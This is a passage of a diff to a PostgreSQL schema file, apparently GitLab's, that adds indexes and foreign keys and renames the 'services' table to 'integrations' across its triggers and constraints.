+CREATE INDEX index_error_tracking_error_events_on_error_id ON error_tracking_error_events USING btree (error_id);
+
+CREATE INDEX index_error_tracking_errors_on_project_id ON error_tracking_errors USING btree (project_id);
+
CREATE INDEX index_esc_protected_branches_on_external_status_check_id ON external_status_checks_protected_branches USING btree (external_status_check_id);
CREATE INDEX index_esc_protected_branches_on_protected_branch_id ON external_status_checks_protected_branches USING btree (protected_branch_id);
@@ -23587,12 +23837,36 @@ CREATE INDEX index_incident_management_oncall_schedules_on_project_id ON inciden
CREATE INDEX index_incident_management_oncall_shifts_on_participant_id ON incident_management_oncall_shifts USING btree (participant_id);
+CREATE INDEX index_incident_management_pending_alert_escalations_on_alert_id ON ONLY incident_management_pending_alert_escalations USING btree (alert_id);
+
+CREATE INDEX index_incident_management_pending_alert_escalations_on_rule_id ON ONLY incident_management_pending_alert_escalations USING btree (rule_id);
+
+CREATE INDEX index_incident_management_pending_alert_escalations_on_schedule ON ONLY incident_management_pending_alert_escalations USING btree (schedule_id);
+
CREATE UNIQUE INDEX index_index_statuses_on_project_id ON index_statuses USING btree (project_id);
CREATE INDEX index_insights_on_namespace_id ON insights USING btree (namespace_id);
CREATE INDEX index_insights_on_project_id ON insights USING btree (project_id);
+CREATE INDEX index_integrations_on_inherit_from_id ON integrations USING btree (inherit_from_id);
+
+CREATE INDEX index_integrations_on_project_and_type_where_inherit_null ON integrations USING btree (project_id, type) WHERE (inherit_from_id IS NULL);
+
+CREATE UNIQUE INDEX index_integrations_on_project_id_and_type_unique ON integrations USING btree (project_id, type);
+
+CREATE INDEX index_integrations_on_template ON integrations USING btree (template);
+
+CREATE INDEX index_integrations_on_type ON integrations USING btree (type);
+
+CREATE UNIQUE INDEX index_integrations_on_type_and_instance_partial ON integrations USING btree (type, instance) WHERE (instance = true);
+
+CREATE UNIQUE INDEX index_integrations_on_type_and_template_partial ON integrations USING btree (type, template) WHERE (template = true);
+
+CREATE INDEX index_integrations_on_type_id_when_active_and_project_id_not_nu ON integrations USING btree (type, id) WHERE ((active = true) AND (project_id IS NOT NULL));
+
+CREATE UNIQUE INDEX index_integrations_on_unique_group_id_and_type ON integrations USING btree (group_id, type);
+
CREATE INDEX index_internal_ids_on_namespace_id ON internal_ids USING btree (namespace_id);
CREATE INDEX index_internal_ids_on_project_id ON internal_ids USING btree (project_id);
@@ -23655,6 +23929,8 @@ CREATE UNIQUE INDEX index_issues_on_project_id_and_external_key ON issues USING
CREATE UNIQUE INDEX index_issues_on_project_id_and_iid ON issues USING btree (project_id, iid);
+CREATE INDEX index_issues_on_project_id_and_upvotes_count ON issues USING btree (project_id, upvotes_count);
+
CREATE INDEX index_issues_on_promoted_to_epic_id ON issues USING btree (promoted_to_epic_id) WHERE (promoted_to_epic_id IS NOT NULL);
CREATE INDEX index_issues_on_sprint_id ON issues USING btree (sprint_id);
@@ -23777,6 +24053,10 @@ CREATE INDEX index_merge_request_blocks_on_blocked_merge_request_id ON merge_req
CREATE UNIQUE INDEX index_merge_request_cleanup_schedules_on_merge_request_id ON merge_request_cleanup_schedules USING btree (merge_request_id);
+CREATE INDEX index_merge_request_cleanup_schedules_on_status ON merge_request_cleanup_schedules USING btree (status);
+
+CREATE UNIQUE INDEX index_merge_request_diff_commit_users_on_name_and_email ON merge_request_diff_commit_users USING btree (name, email);
+
CREATE INDEX index_merge_request_diff_commits_on_sha ON merge_request_diff_commits USING btree (sha);
CREATE INDEX index_merge_request_diff_details_failed_verification ON merge_request_diff_details USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
@@ -23887,6 +24167,8 @@ CREATE INDEX index_metrics_users_starred_dashboards_on_project_id ON metrics_use
CREATE INDEX index_migration_jobs_on_migration_id_and_finished_at ON batched_background_migration_jobs USING btree (batched_background_migration_id, finished_at);
+CREATE INDEX index_migration_jobs_on_migration_id_and_max_value ON batched_background_migration_jobs USING btree (batched_background_migration_id, max_value);
+
CREATE INDEX index_milestone_releases_on_release_id ON milestone_releases USING btree (release_id);
CREATE INDEX index_milestones_on_description_trigram ON milestones USING gin (description gin_trgm_ops);
@@ -23905,7 +24187,7 @@ CREATE INDEX index_mirror_data_non_scheduled_or_started ON project_mirror_data U
CREATE UNIQUE INDEX index_mr_blocks_on_blocking_and_blocked_mr_ids ON merge_request_blocks USING btree (blocking_merge_request_id, blocked_merge_request_id);
-CREATE INDEX index_mr_cleanup_schedules_timestamps ON merge_request_cleanup_schedules USING btree (scheduled_at) WHERE (completed_at IS NULL);
+CREATE INDEX index_mr_cleanup_schedules_timestamps_status ON merge_request_cleanup_schedules USING btree (scheduled_at) WHERE ((completed_at IS NULL) AND (status = 0));
CREATE UNIQUE INDEX index_mr_context_commits_on_merge_request_id_and_sha ON merge_request_context_commits USING btree (merge_request_id, sha);
@@ -24011,8 +24293,6 @@ CREATE INDEX index_oauth_openid_requests_on_access_grant_id ON oauth_openid_requ
CREATE UNIQUE INDEX index_on_deploy_keys_id_and_type_and_public ON keys USING btree (id, type) WHERE (public = true);
-CREATE INDEX index_on_id_partial_with_legacy_storage ON projects USING btree (id) WHERE ((storage_version < 2) OR (storage_version IS NULL));
-
CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON identities USING btree (lower((extern_uid)::text), provider);
CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON analytics_usage_trends_measurements USING btree (identifier, recorded_at);
@@ -24231,7 +24511,7 @@ CREATE UNIQUE INDEX index_project_aliases_on_name ON project_aliases USING btree
CREATE INDEX index_project_aliases_on_project_id ON project_aliases USING btree (project_id);
-CREATE INDEX index_project_authorizations_on_project_id ON project_authorizations USING btree (project_id);
+CREATE INDEX index_project_authorizations_on_project_id_user_id ON project_authorizations USING btree (project_id, user_id);
CREATE UNIQUE INDEX index_project_auto_devops_on_project_id ON project_auto_devops USING btree (project_id);
@@ -24511,6 +24791,8 @@ CREATE INDEX index_requirements_on_author_id ON requirements USING btree (author
CREATE INDEX index_requirements_on_created_at ON requirements USING btree (created_at);
+CREATE UNIQUE INDEX index_requirements_on_issue_id ON requirements USING btree (issue_id);
+
CREATE INDEX index_requirements_on_project_id ON requirements USING btree (project_id);
CREATE UNIQUE INDEX index_requirements_on_project_id_and_iid ON requirements USING btree (project_id, iid) WHERE (project_id IS NOT NULL);
@@ -24615,6 +24897,8 @@ CREATE INDEX index_security_findings_on_severity ON security_findings USING btre
CREATE UNIQUE INDEX index_security_findings_on_uuid_and_scan_id ON security_findings USING btree (uuid, scan_id);
+CREATE INDEX index_security_scans_on_created_at ON security_scans USING btree (created_at);
+
CREATE INDEX index_security_scans_on_date_created_at_and_id ON security_scans USING btree (date(timezone('UTC'::text, created_at)), id);
CREATE INDEX index_self_managed_prometheus_alert_events_on_environment_id ON self_managed_prometheus_alert_events USING btree (environment_id);
@@ -24633,24 +24917,6 @@ CREATE INDEX index_serverless_domain_cluster_on_pages_domain_id ON serverless_do
CREATE INDEX index_service_desk_enabled_projects_on_id_creator_id_created_at ON projects USING btree (id, creator_id, created_at) WHERE (service_desk_enabled = true);
-CREATE INDEX index_services_on_inherit_from_id ON services USING btree (inherit_from_id);
-
-CREATE INDEX index_services_on_project_and_type_where_inherit_null ON services USING btree (project_id, type) WHERE (inherit_from_id IS NULL);
-
-CREATE UNIQUE INDEX index_services_on_project_id_and_type_unique ON services USING btree (project_id, type);
-
-CREATE INDEX index_services_on_template ON services USING btree (template);
-
-CREATE INDEX index_services_on_type ON services USING btree (type);
-
-CREATE UNIQUE INDEX index_services_on_type_and_instance_partial ON services USING btree (type, instance) WHERE (instance = true);
-
-CREATE UNIQUE INDEX index_services_on_type_and_template_partial ON services USING btree (type, template) WHERE (template = true);
-
-CREATE INDEX index_services_on_type_id_when_active_and_project_id_not_null ON services USING btree (type, id) WHERE ((active = true) AND (project_id IS NOT NULL));
-
-CREATE UNIQUE INDEX index_services_on_unique_group_id_and_type ON services USING btree (group_id, type);
-
CREATE UNIQUE INDEX index_shards_on_name ON shards USING btree (name);
CREATE UNIQUE INDEX index_site_profile_secret_variables_on_site_profile_id_and_key ON dast_site_profile_secret_variables USING btree (dast_site_profile_id, key);
@@ -25011,6 +25277,8 @@ CREATE INDEX index_vulnerability_findings_remediations_on_remediation_id ON vuln
CREATE UNIQUE INDEX index_vulnerability_findings_remediations_on_unique_keys ON vulnerability_findings_remediations USING btree (vulnerability_occurrence_id, vulnerability_remediation_id);
+CREATE INDEX index_vulnerability_flags_on_vulnerability_occurrence_id ON vulnerability_flags USING btree (vulnerability_occurrence_id);
+
CREATE INDEX index_vulnerability_historical_statistics_on_date_and_id ON vulnerability_historical_statistics USING btree (date, id);
CREATE UNIQUE INDEX index_vulnerability_identifiers_on_project_id_and_fingerprint ON vulnerability_identifiers USING btree (project_id, fingerprint);
@@ -25153,6 +25421,8 @@ CREATE INDEX tmp_idx_deduplicate_vulnerability_occurrences ON vulnerability_occu
CREATE INDEX tmp_idx_on_namespaces_delayed_project_removal ON namespaces USING btree (id) WHERE (delayed_project_removal = true);
+CREATE INDEX tmp_index_merge_requests_draft_and_status ON merge_requests USING btree (id) WHERE ((draft = false) AND (state_id = 1) AND ((title)::text ~* '^\[draft\]|\(draft\)|draft:|draft|\[WIP\]|WIP:|WIP'::text));
+
CREATE INDEX tmp_index_namespaces_empty_traversal_ids_with_child_namespaces ON namespaces USING btree (id) WHERE ((parent_id IS NOT NULL) AND (traversal_ids = '{}'::integer[]));
CREATE INDEX tmp_index_namespaces_empty_traversal_ids_with_root_namespaces ON namespaces USING btree (id) WHERE ((parent_id IS NULL) AND (traversal_ids = '{}'::integer[]));
@@ -25469,20 +25739,23 @@ CREATE TRIGGER trigger_cf2f9e35f002 BEFORE INSERT OR UPDATE ON ci_build_trace_ch
CREATE TRIGGER trigger_f1ca8ec18d78 BEFORE INSERT OR UPDATE ON geo_job_artifact_deleted_events FOR EACH ROW EXECUTE FUNCTION trigger_f1ca8ec18d78();
-CREATE TRIGGER trigger_has_external_issue_tracker_on_delete AFTER DELETE ON services FOR EACH ROW WHEN ((((old.category)::text = 'issue_tracker'::text) AND (old.active = true) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
+CREATE TRIGGER trigger_has_external_issue_tracker_on_delete AFTER DELETE ON integrations FOR EACH ROW WHEN ((((old.category)::text = 'issue_tracker'::text) AND (old.active = true) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
-CREATE TRIGGER trigger_has_external_issue_tracker_on_insert AFTER INSERT ON services FOR EACH ROW WHEN ((((new.category)::text = 'issue_tracker'::text) AND (new.active = true) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
+CREATE TRIGGER trigger_has_external_issue_tracker_on_insert AFTER INSERT ON integrations FOR EACH ROW WHEN ((((new.category)::text = 'issue_tracker'::text) AND (new.active = true) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
-CREATE TRIGGER trigger_has_external_issue_tracker_on_update AFTER UPDATE ON services FOR EACH ROW WHEN ((((new.category)::text = 'issue_tracker'::text) AND (old.active <> new.active) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
+CREATE TRIGGER trigger_has_external_issue_tracker_on_update AFTER UPDATE ON integrations FOR EACH ROW WHEN ((((new.category)::text = 'issue_tracker'::text) AND (old.active <> new.active) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
-CREATE TRIGGER trigger_has_external_wiki_on_delete AFTER DELETE ON services FOR EACH ROW WHEN ((((old.type)::text = 'ExternalWikiService'::text) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
+CREATE TRIGGER trigger_has_external_wiki_on_delete AFTER DELETE ON integrations FOR EACH ROW WHEN ((((old.type)::text = 'ExternalWikiService'::text) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
-CREATE TRIGGER trigger_has_external_wiki_on_insert AFTER INSERT ON services FOR EACH ROW WHEN (((new.active = true) AND ((new.type)::text = 'ExternalWikiService'::text) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
+CREATE TRIGGER trigger_has_external_wiki_on_insert AFTER INSERT ON integrations FOR EACH ROW WHEN (((new.active = true) AND ((new.type)::text = 'ExternalWikiService'::text) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
-CREATE TRIGGER trigger_has_external_wiki_on_update AFTER UPDATE ON services FOR EACH ROW WHEN ((((new.type)::text = 'ExternalWikiService'::text) AND (old.active <> new.active) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
+CREATE TRIGGER trigger_has_external_wiki_on_update AFTER UPDATE ON integrations FOR EACH ROW WHEN ((((new.type)::text = 'ExternalWikiService'::text) AND (old.active <> new.active) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_wiki();
ALTER TABLE ONLY chat_names
- ADD CONSTRAINT fk_00797a2bf9 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_00797a2bf9 FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY deployments
+ ADD CONSTRAINT fk_009fd21147 FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE NOT VALID;
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_013c9f36ca FOREIGN KEY (due_date_sourcing_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
@@ -25607,6 +25880,9 @@ ALTER TABLE ONLY geo_event_log
ALTER TABLE ONLY deployments
ADD CONSTRAINT fk_289bba3222 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE SET NULL;
+ALTER TABLE ONLY ci_freeze_periods
+ ADD CONSTRAINT fk_2e02bbd1a6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY notes
ADD CONSTRAINT fk_2e82291620 FOREIGN KEY (review_id) REFERENCES reviews(id) ON DELETE SET NULL;
@@ -25709,6 +25985,9 @@ ALTER TABLE ONLY vulnerability_feedback
ALTER TABLE ONLY deploy_keys_projects
ADD CONSTRAINT fk_58a901ca7e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_scanner_profiles_builds
+ ADD CONSTRAINT fk_5d46286ad3 FOREIGN KEY (dast_scanner_profile_id) REFERENCES dast_scanner_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY issue_assignees
ADD CONSTRAINT fk_5e0c8d9154 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -25751,7 +26030,7 @@ ALTER TABLE ONLY terraform_state_versions
ALTER TABLE ONLY protected_branch_push_access_levels
ADD CONSTRAINT fk_7111b68cdb FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY services
+ALTER TABLE ONLY integrations
ADD CONSTRAINT fk_71cce407f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
ALTER TABLE ONLY user_interacted_projects
@@ -25826,6 +26105,9 @@ ALTER TABLE ONLY experiment_subjects
ALTER TABLE ONLY merge_request_diffs
ADD CONSTRAINT fk_8483f3258f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY requirements
+ ADD CONSTRAINT fk_85044baef0 FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_pipelines
ADD CONSTRAINT fk_86635dbd80 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25868,6 +26150,9 @@ ALTER TABLE ONLY ci_pipeline_schedules
ALTER TABLE ONLY todos
ADD CONSTRAINT fk_91d1f47b13 FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profiles_builds
+ ADD CONSTRAINT fk_94e80df60e FOREIGN KEY (dast_site_profile_id) REFERENCES dast_site_profiles(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT fk_94f7c8a81e FOREIGN KEY (comment_author_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -25931,6 +26216,9 @@ ALTER TABLE ONLY ci_builds
ALTER TABLE ONLY ci_pipelines
ADD CONSTRAINT fk_a23be95014 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_site_profiles_builds
+ ADD CONSTRAINT fk_a325505e99 FOREIGN KEY (ci_build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY bulk_import_entities
ADD CONSTRAINT fk_a44ff95be5 FOREIGN KEY (parent_id) REFERENCES bulk_import_entities(id) ON DELETE CASCADE;
@@ -26088,7 +26376,7 @@ ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_d3130c9a7f FOREIGN KEY (commit_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
ALTER TABLE ONLY web_hooks
- ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_d47999a98a FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT fk_d4e29af7d7 FOREIGN KEY (source_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -26141,6 +26429,9 @@ ALTER TABLE ONLY gitlab_subscriptions
ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT fk_e3e63f966e FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY dast_scanner_profiles_builds
+ ADD CONSTRAINT fk_e4c49200f8 FOREIGN KEY (ci_build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_e719a85f8a FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -26168,7 +26459,7 @@ ALTER TABLE ONLY vulnerability_statistics
ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT fk_e8e10d1964 FOREIGN KEY (owner_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY services
+ALTER TABLE ONLY integrations
ADD CONSTRAINT fk_e8fe908a34 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
ALTER TABLE ONLY pages_domains
@@ -26288,6 +26579,9 @@ ALTER TABLE ONLY terraform_state_versions
ALTER TABLE ONLY ci_build_report_results
ADD CONSTRAINT fk_rails_056d298d48 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE incident_management_pending_alert_escalations
+ ADD CONSTRAINT fk_rails_057c1e3d87 FOREIGN KEY (rule_id) REFERENCES incident_management_escalation_rules(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY ci_daily_build_group_report_results
ADD CONSTRAINT fk_rails_0667f7608c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26409,7 +26703,7 @@ ALTER TABLE ONLY group_wiki_repositories
ADD CONSTRAINT fk_rails_19755e374b FOREIGN KEY (shard_id) REFERENCES shards(id) ON DELETE RESTRICT;
ALTER TABLE ONLY open_project_tracker_data
- ADD CONSTRAINT fk_rails_1987546e48 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_rails_1987546e48 FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
ALTER TABLE ONLY gpg_signatures
ADD CONSTRAINT fk_rails_19d4f1c6f9 FOREIGN KEY (gpg_key_subkey_id) REFERENCES gpg_key_subkeys(id) ON DELETE SET NULL;
@@ -26537,15 +26831,15 @@ ALTER TABLE ONLY packages_debian_group_component_files
ALTER TABLE ONLY boards_epic_board_labels
ADD CONSTRAINT fk_rails_2bedeb8799 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
+ALTER TABLE ONLY error_tracking_error_events
+ ADD CONSTRAINT fk_rails_2c096c0076 FOREIGN KEY (error_id) REFERENCES error_tracking_errors(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY onboarding_progresses
ADD CONSTRAINT fk_rails_2ccfd420cc FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
ALTER TABLE ONLY protected_branch_unprotect_access_levels
ADD CONSTRAINT fk_rails_2d2aba21ef FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
-ALTER TABLE ONLY ci_freeze_periods
- ADD CONSTRAINT fk_rails_2e02bbd1a6 FOREIGN KEY (project_id) REFERENCES projects(id);
-
ALTER TABLE ONLY issuable_severities
ADD CONSTRAINT fk_rails_2fbb74ad6d FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -26672,9 +26966,6 @@ ALTER TABLE ONLY security_orchestration_policy_configurations
ALTER TABLE ONLY ci_resources
ADD CONSTRAINT fk_rails_430336af2d FOREIGN KEY (resource_group_id) REFERENCES ci_resource_groups(id) ON DELETE CASCADE;
-ALTER TABLE ONLY clusters_applications_fluentd
- ADD CONSTRAINT fk_rails_4319b1dcd2 FOREIGN KEY (cluster_id) REFERENCES clusters(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY batched_background_migration_jobs
ADD CONSTRAINT fk_rails_432153b86d FOREIGN KEY (batched_background_migration_id) REFERENCES batched_background_migrations(id) ON DELETE CASCADE;
@@ -26951,12 +27242,18 @@ ALTER TABLE ONLY plan_limits
ALTER TABLE ONLY operations_feature_flags_issues
ADD CONSTRAINT fk_rails_6a8856ca4f FOREIGN KEY (feature_flag_id) REFERENCES operations_feature_flags(id) ON DELETE CASCADE;
+ALTER TABLE ONLY error_tracking_errors
+ ADD CONSTRAINT fk_rails_6b41f837ba FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY prometheus_alerts
ADD CONSTRAINT fk_rails_6d9b283465 FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE;
ALTER TABLE ONLY term_agreements
ADD CONSTRAINT fk_rails_6ea6520e4a FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_assets
+ ADD CONSTRAINT fk_rails_6edbbecba4 FOREIGN KEY (vulnerability_finding_evidence_id) REFERENCES vulnerability_finding_evidences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY project_compliance_framework_settings
ADD CONSTRAINT fk_rails_6f5294f16c FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26991,7 +27288,7 @@ ALTER TABLE ONLY vulnerability_finding_evidence_requests
ADD CONSTRAINT fk_rails_72c87c8eb6 FOREIGN KEY (vulnerability_finding_evidence_id) REFERENCES vulnerability_finding_evidences(id) ON DELETE CASCADE;
ALTER TABLE ONLY slack_integrations
- ADD CONSTRAINT fk_rails_73db19721a FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_rails_73db19721a FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
ALTER TABLE ONLY custom_emoji
ADD CONSTRAINT fk_rails_745925b412 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -27044,6 +27341,9 @@ ALTER TABLE ONLY terraform_states
ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ADD CONSTRAINT fk_rails_796a7dbc9c FOREIGN KEY (project_value_stream_id) REFERENCES analytics_cycle_analytics_project_value_streams(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_supporting_messages
+ ADD CONSTRAINT fk_rails_79e77f6c5c FOREIGN KEY (vulnerability_finding_evidence_id) REFERENCES vulnerability_finding_evidences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY software_license_policies
ADD CONSTRAINT fk_rails_7a7a2a92de FOREIGN KEY (software_license_id) REFERENCES software_licenses(id) ON DELETE CASCADE;
@@ -27131,6 +27431,9 @@ ALTER TABLE ONLY vulnerability_feedback
ALTER TABLE ONLY ci_pipeline_messages
ADD CONSTRAINT fk_rails_8d3b04e3e1 FOREIGN KEY (pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
+ALTER TABLE incident_management_pending_alert_escalations
+ ADD CONSTRAINT fk_rails_8d8de95da9 FOREIGN KEY (alert_id) REFERENCES alert_management_alerts(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY approval_merge_request_rules_approved_approvers
ADD CONSTRAINT fk_rails_8dc94cff4d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -27255,7 +27558,7 @@ ALTER TABLE ONLY todos
ADD CONSTRAINT fk_rails_a27c483435 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
ALTER TABLE ONLY jira_tracker_data
- ADD CONSTRAINT fk_rails_a299066916 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_rails_a299066916 FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
ALTER TABLE ONLY protected_environments
ADD CONSTRAINT fk_rails_a354313d11 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -27510,7 +27813,7 @@ ALTER TABLE ONLY operations_strategies_user_lists
ADD CONSTRAINT fk_rails_ccb7e4bc0b FOREIGN KEY (user_list_id) REFERENCES operations_user_lists(id) ON DELETE CASCADE;
ALTER TABLE ONLY issue_tracker_data
- ADD CONSTRAINT fk_rails_ccc0840427 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ ADD CONSTRAINT fk_rails_ccc0840427 FOREIGN KEY (service_id) REFERENCES integrations(id) ON DELETE CASCADE;
ALTER TABLE ONLY vulnerability_finding_evidence_headers
ADD CONSTRAINT fk_rails_ce7f121a03 FOREIGN KEY (vulnerability_finding_evidence_request_id) REFERENCES vulnerability_finding_evidence_requests(id) ON DELETE CASCADE;
@@ -27626,6 +27929,9 @@ ALTER TABLE ONLY clusters_integration_prometheus
ALTER TABLE ONLY vulnerability_occurrence_identifiers
ADD CONSTRAINT fk_rails_e4ef6d027c FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_flags
+ ADD CONSTRAINT fk_rails_e59393b48b FOREIGN KEY (vulnerability_occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY serverless_domain_cluster
ADD CONSTRAINT fk_rails_e59e868733 FOREIGN KEY (clusters_applications_knative_id) REFERENCES clusters_applications_knative(id) ON DELETE CASCADE;
@@ -27671,6 +27977,9 @@ ALTER TABLE ONLY vulnerability_issue_links
ALTER TABLE ONLY merge_request_blocks
ADD CONSTRAINT fk_rails_e9387863bc FOREIGN KEY (blocking_merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_sources
+ ADD CONSTRAINT fk_rails_e9761bed4c FOREIGN KEY (vulnerability_finding_evidence_id) REFERENCES vulnerability_finding_evidences(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY protected_branch_unprotect_access_levels
ADD CONSTRAINT fk_rails_e9eb8dc025 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
@@ -27791,6 +28100,9 @@ ALTER TABLE ONLY ci_job_variables
ALTER TABLE ONLY packages_nuget_metadata
ADD CONSTRAINT fk_rails_fc0c19f5b4 FOREIGN KEY (package_id) REFERENCES packages_packages(id) ON DELETE CASCADE;
+ALTER TABLE incident_management_pending_alert_escalations
+ ADD CONSTRAINT fk_rails_fcbfd9338b FOREIGN KEY (schedule_id) REFERENCES incident_management_oncall_schedules(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY external_approval_rules
ADD CONSTRAINT fk_rails_fd4f9ac573 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -27809,8 +28121,8 @@ ALTER TABLE ONLY resource_label_events
ALTER TABLE ONLY ci_builds_metadata
ADD CONSTRAINT fk_rails_ffcf702a02 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-ALTER TABLE ONLY services
- ADD CONSTRAINT fk_services_inherit_from_id FOREIGN KEY (inherit_from_id) REFERENCES services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY integrations
+ ADD CONSTRAINT fk_services_inherit_from_id FOREIGN KEY (inherit_from_id) REFERENCES integrations(id) ON DELETE CASCADE;
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT fk_source_project FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE SET NULL;
@@ -27834,6 +28146,4 @@ ALTER TABLE ONLY user_follow_users
ADD CONSTRAINT user_follow_users_followee_id_fkey FOREIGN KEY (followee_id) REFERENCES users(id) ON DELETE CASCADE;
ALTER TABLE ONLY user_follow_users
- ADD CONSTRAINT user_follow_users_follower_id_fkey FOREIGN KEY (follower_id) REFERENCES users(id) ON DELETE CASCADE;-- schema_migrations.version information is no longer stored in this file,
--- but instead tracked in the db/schema_migrations directory
--- see https://gitlab.com/gitlab-org/gitlab/-/issues/218590 for details
+ ADD CONSTRAINT user_follow_users_follower_id_fkey FOREIGN KEY (follower_id) REFERENCES users(id) ON DELETE CASCADE;
